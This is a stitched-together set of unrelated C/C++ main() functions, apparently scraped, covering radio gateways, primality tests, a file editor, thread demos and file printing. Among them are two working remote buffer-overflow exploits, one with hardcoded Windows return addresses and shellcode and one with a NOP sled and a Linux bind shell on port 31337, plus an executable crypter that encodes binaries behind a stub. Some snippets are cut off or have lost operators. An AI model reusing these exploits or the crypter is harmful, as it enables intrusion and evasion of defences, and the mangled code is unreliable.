int main(int argc, char* argv[]) { if (argc != 2) uso(); if (strcmp(argv[1], "-r") == 0 ) { mode = receiver; NODE_ID = RECEIVER_ID; GATEWAY_ID = SENDER_ID; // not really needed... } else if (strcmp(argv[1], "-s") == 0) { mode = sender; NODE_ID = SENDER_ID; GATEWAY_ID = RECEIVER_ID; } else { fprintf(stderr, "invalid arguments"); uso(); } //RFM69 --------------------------- theConfig.networkId = NETWORK_ID; theConfig.nodeId = NODE_ID; theConfig.frequency = RFM_FREQUENCY; theConfig.keyLength = 16; memcpy(theConfig.key, ENCRYPTION_KEY, 16); theConfig.isRFM69HW = RFM69H; theConfig.promiscuousMode = true; LOG("NETWORK %d NODE_ID %d FREQUENCY %d\n", theConfig.networkId, theConfig.nodeId, theConfig.frequency); rfm69 = new RFM69(); rfm69->initialize(theConfig.frequency,theConfig.nodeId,theConfig.networkId); initRfm(rfm69); LOG("setup complete\n"); return run_loop(); }
int main( int argc, char *argv[] ) { int sock; struct hostent *he; struct sockaddr_in target; unsigned char evilbuff[1530]; long retaddr1 = 0x796C7DDC; long retaddr2 = 0x77E7FC79; long retaddr3 = 0x77EB1933; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif banner(); if ( argc < 4 ) uso(argv[0]); if ( (he = gethostbyname(argv[1])) == NULL ) errore("\t[-] Impossibile risolvere l'host\n"); target.sin_family = AF_INET; target.sin_addr = *(( struct in_addr *) he -> h_addr ); target.sin_port = htons(atoi(argv[2])); fputs("\t[+] Preparazione del buffer...\n", stdout); memset(evilbuff, 0x41, 1040 ); switch(argv[3][0]) { case '1': memcpy(evilbuff + 1024, (unsigned char *) &retaddr1, 4); break; case '2': memcpy(evilbuff + 1024, (unsigned char *) &retaddr2, 4); break; case '3': memcpy(evilbuff + 1024, (unsigned char *) &retaddr3, 4); break; default : errore("[-] Target sbagliato\n"); } memcpy(evilbuff + 1040, shellcode, sizeof(shellcode)); fputs("\t[+] Connessione...\n", stdout); if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 ) errore("\t[-] Impossibile creare socket\n"); if ( connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0 ) errore("\t[-] Connessione fallita\n"); if ( send( sock, evilbuff, sizeof(evilbuff), 0) < 0 ) errore("\t[-] Impossibile spedire il buffer\n"); close(sock); fputs("\t[+] Buffer spedito!\n", stdout); fputs("\t[+] In attesa della connessione...\n\n", stdout); connectz(argv[1]); return(0); }
int main(int argc, char* argv[]){ nome_programa = argv[0]; if(argc == 1) uso(); else configura(argc, argv); /*------------------- Solovay-Strassen -------------------*/ if(SS && !MR && !BPSW){ if(!quiet){ std::cout << "Solovay-Strassen -- Contagem de Tempo: "; tempo ? std::cout << "ativada.\n" : std::cout << "desativada.\n"; } while(std::cin >> n >> k){ tempo_decorrido = std::chrono::steady_clock::duration::zero(); inicio = std::chrono::steady_clock::now(); teste = solovay_strassen(n, k); fim = std::chrono::steady_clock::now(); if(teste) std::cout << n << " e provavelmente primo."; else std::cout << n << " e composto."; if(tempo){ tempo_decorrido = std::chrono::duration_cast<std::chrono::duration<double>>(fim - inicio); std::cout << " Tempo de execucao: " << tempo_decorrido.count(); } std::cout << std::endl; } } /*---------------- Miller-Rabin ----------------*/ else if(!SS && MR && !BPSW){
int main(int argc, char *argv[]) { FILE *arquivo; int c; if (argc < 2 ) { uso(argv[0]); exit(1); } if ((arquivo = fopen(argv[1], "w")) == NULL) { printf("Erro tentando abrir o arquivo\n"); exit(1); } printf("\e[H\e[2J"); printf("EDITor 0.1 - Pressione <CTRL+D> para salvar e sair\n\n"); /*lê caractere por caractere da stdin (teclado) e coloca o caractere em arquivo, enquando diferente de fim de arquivo*/ while ((c = fgetc(stdin)) != EOF) { fputc(c, arquivo); } fclose(arquivo); return(0); }
int main (int argc, char *argv[]) { if ( argc != 2 ) { uso();exit(-2); } int nthreads = atoi(argv[1]); if (nthreads > 0) { pthread_t threads[nthreads]; int rc, t; for(t=0; t<nthreads; t++){ printf("main(): creando thread %d\n", t); rc = pthread_create(&threads[t], NULL, imprimo, (void *) t); if (rc){ printf("main(): Error, pthread_create() retorna %d\n", rc); exit(-1); } } } else printf("Debe ingresar un número mayor que cero\n"); printf("main():fin!\n"); pthread_exit(NULL); }
int main(int argc, char *argv[]) { char caractere; int argumentos; FILE *arquivo; if(argc < 2) { uso(argv[0]); exit(1); } /*para cada arquivo passado por parametro, arq1, arq2 etc... o arquivo é aberto, e seu conteudo é lido até que seja final de arquivo */ for(argumentos=1; argumentos < argc; argumentos++) { arquivo=fopen(argv[argumentos], "r"); if(arquivo==NULL) { printf("\n-->ERRO AO ABRIR O ARQUIVO: %s\n\n", argv[argumentos]); continue; } caractere=getc(arquivo); printf("\n-->CONTEUDO DO ARQUIVO: %s\n", argv[argumentos]); while(caractere != EOF) { putchar(caractere); caractere=getc(arquivo); } fclose(arquivo); } }
int main(int argc, char* argv[]) { if (argc != 1) uso(); #ifdef DAEMON //Adapted from http://www.netzmafia.de/skripten/unix/linux-daemon-howto.html pid_t pid, sid; openlog("Gatewayd", LOG_PID, LOG_USER); pid = fork(); if (pid < 0) { LOG_E("fork failed"); exit(EXIT_FAILURE); } /* If we got a good PID, then we can exit the parent process. */ if (pid > 0) { LOG("Child spawned, pid %d\n", pid); exit(EXIT_SUCCESS); } /* Change the file mode mask */ umask(0); /* Create a new SID for the child process */ sid = setsid(); if (sid < 0) { LOG_E("setsid failed"); exit(EXIT_FAILURE); } /* Change the current working directory */ if ((chdir("/")) < 0) { LOG_E("chdir failed"); exit(EXIT_FAILURE); } /* Close out the standard file descriptors */ close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); #endif //DAEMON // Mosquitto ---------------------- struct mosquitto *m = mosquitto_new(MQTT_CLIENT_ID, true, null); if (m == NULL) { die("init() failure\n"); } if (!set_callbacks(m)) { die("set_callbacks() failure\n"); } if (!connect(m)) { die("connect() failure\n"); } //RFM69 --------------------------- theConfig.networkId = 101; theConfig.nodeId = 12; theConfig.frequency = RF69_868MHZ; theConfig.keyLength = 16; memcpy(theConfig.key, "pecmosg110028225", 16); theConfig.isRFM69HW = true; theConfig.promiscuousMode = true; theConfig.messageWatchdogDelay = 1800000; // 1800 seconds (30 minutes) between two messages rfm69 = new RFM69(); rfm69->initialize(theConfig.frequency,theConfig.nodeId,theConfig.networkId); initRfm(rfm69); // Mosquitto subscription --------- char subsciptionMask[128]; sprintf(subsciptionMask, "%s/%03d/#", MQTT_ROOT, theConfig.networkId); LOG("Subscribe to Mosquitto topic: %s\n", subsciptionMask); mosquitto_subscribe(m, NULL, subsciptionMask, 0); LOG("setup complete\n"); return run_loop(m); } // end of setup
int main(int argc, char *argv[]) { char payload[MAX], *host; int sockfd; unsigned int i, opcao, porta; int ret, offset, alinhamento; memset(payload, 0x00, sizeof(payload)); /* zeramos o nosso buffer */ host = NULL; ret = RET; offset = OFFSET; /* offset padrao */ porta = PORTA; alinhamento = ALINHA; fprintf(stdout, "Exploit para o exemplo servidor-telnetd.c\n"); if(argc < 2) uso(argv[0]); while((opcao = getopt(argc, argv, "h:o:p:a:")) != EOF) { switch(opcao) { case 'h': if(strlen(optarg) > 255) { fprintf(stderr, "Tamanho de host invalido.\n"); exit(ERRO); } host = optarg; break; case 'o': offset = atoi(optarg); break; case 'p': if(atoi(optarg) > 65535 || atoi(optarg) < 0) { fprintf(stderr, "Porta invalida.\n"); exit(ERRO); } porta = atoi(optarg); break; case 'a': alinhamento = atoi(optarg); break; default: uso(argv[0]); } } sockfd = cria_conexao(host, porta); if(offset != 0) ret = RET2 + offset; /* enchemos com NOPs parte do nosso payload, deixando espaco para o shellcode e o endereco de retorno */ memset(payload + alinhamento, 0x90, MAX - strlen(x86_lnx_bind) - 4); /* copiando o shellcode */ memcpy(payload + alinhamento + (MAX - strlen(x86_lnx_bind) - 4), x86_lnx_bind, sizeof(x86_lnx_bind)); for(i=strlen(payload); i < MAX; i+=4) *((int *) &payload[i]) = ret; fprintf(stdout, "Usando 0x%x como endereco de retorno.\n", ret); write(sockfd, payload, strlen(payload)); fprintf(stdout, "Payload enviado! Conecte em %s:31337\n", host); shutdown(sockfd, SHUT_RDWR); close(sockfd); }
int main(int argc, char *argv[]) { printf("Ca0s Crypt v1\n\n"); char *fileName, *newFileName; char *cByte=(char *)malloc(1); for(x=0; x<argc; x ) { if(strcmp(argv[x], "-exe")==0) isExe=1; if((strcmp(argv[x], "-file")==0) && (argc>(x 1))) fileName=argv[x 1]; if((strcmp(argv[x], "-w")==0) && (argc>(x 1))) newFileName=argv[x 1]; if((strcmp(argv[x], "-job")==0) && (argc>(x 1))) { if(strcmp(argv[x 1], "crypt")==0) jobMode=1; else if(strcmp(argv[x 1], "decrypt")==0) jobMode=2; } if((strcmp(argv[x], "-crypt")==0) && (argc>(x 1))) { if(strcmp(argv[x 1], "1")==0) cryptMode=1; // /- 0x20 if(strcmp(argv[x 1], "2")==0) cryptMode=2; // ^0x20 } if((strcmp(argv[x], "-byte")==0) && (argc>(x 1))) { if(strlen(argv[x 1])==2) { tmpCByte=(char *)malloc(1); *tmpCByte=0x00; char *argByte=(char *)malloc(2); memcpy(argByte, argv[x 1], 2); char *conversion=(char *)malloc(1); int y=0, z=0, good=0; for(y=0; y<=1; y ) { good=0; memcpy(conversion, argByte y, 1); for(z=0; z<31; z ) { if(toupper(*conversion) == hexConv[z]) { good=1; if((y==0) && (hexConv[z 1]!=0x00)) *tmpCByte =hexConv[z 1]*16; else *tmpCByte =hexConv[z 1]; break; } } if(good==0) { error=1; break; } } } else error=1; } if((strcmp(argv[x], "-stubsize")==0) && (argc>(x 1))) stubSize=atoi(argv[x 1]); } if((fileName==NULL) || (newFileName==NULL) ||(jobMode==0) || (error==1)) uso(); printf("Original file: %s\n", fileName); originalFile=fopen(fileName, "rb"); if(originalFile==NULL) { printf("Error: can't open file to crypt.\n"); return 0; } fstat(fileno(originalFile), &myStat); originalSize=myStat.st_size; printf("Size: %d bytes.\n", originalSize); newFile=fopen(newFileName, "wb"); if(newFile==NULL) { printf("Error: can't create output file.\n"); return 0; } if(jobMode==1) printf("Job: crypt.\n"); else if(jobMode==2) printf("Job: decrypt.\n"); if(cryptMode==1) printf("Mode: /- BYTE\n"); else if(cryptMode==2) printf("Mode: ^ BYTE\n"); if(tmpCByte==NULL) { *cByte=0x20; printf("Using default byte (0x20).\n"); } else { cByte=tmpCByte; printf("Using byte 0x%x.\n", (unsigned char)*cByte); } if(isExe==1) printf("Working with a EXE. Using stub.\n"); if((isExe==1) && (jobMode==2)) { printf("Stub's size: %d bytes.\n", stubSize); stubSize =2; } char *originalBuffer=(char *)malloc(originalSize); char *tmpByte1=(char *)malloc(1); char *tmpByte2=(char *)malloc(1); fread(originalBuffer, originalSize, 1, originalFile); if((isExe==1) && (jobMode==1)) { char *modeByte=(char *)malloc(1); switch(cryptMode) { case 1: *modeByte=0x01; break; case 2: *modeByte=0x02; break; } FILE *myStub=fopen("stub.exe", "rb"); if(myStub==NULL) { printf("Error: can't open stub.\n"); return 0; } while(fread(tmpByte2, 1, 1, myStub)) fwrite(tmpByte2, 1, 1, newFile); fclose(myStub); fwrite(modeByte, 1, 1, newFile); fwrite(cByte, 1, 1, newFile); } if((isExe==1) && (jobMode==2)) { originalBuffer =stubSize; originalSize-=stubSize; } for(x=0; x<originalSize; x ) { memcpy(tmpByte1, originalBuffer x, 1); if(jobMode==1) { switch(cryptMode) { case 1: *tmpByte1 =*cByte; break; case 2: *tmpByte1^=*cByte; break; } fwrite(tmpByte1, 1, 1, newFile); } else if(jobMode==2) { switch(cryptMode) { case 1: *tmpByte1-=*cByte; break; case 2: *tmpByte1^=*cByte; break; } fwrite(tmpByte1, 1, 1, newFile); } } fclose(originalFile); fclose(newFile); printf("\nTerminado. Archivo creado en %s\n", newFileName); return 0; }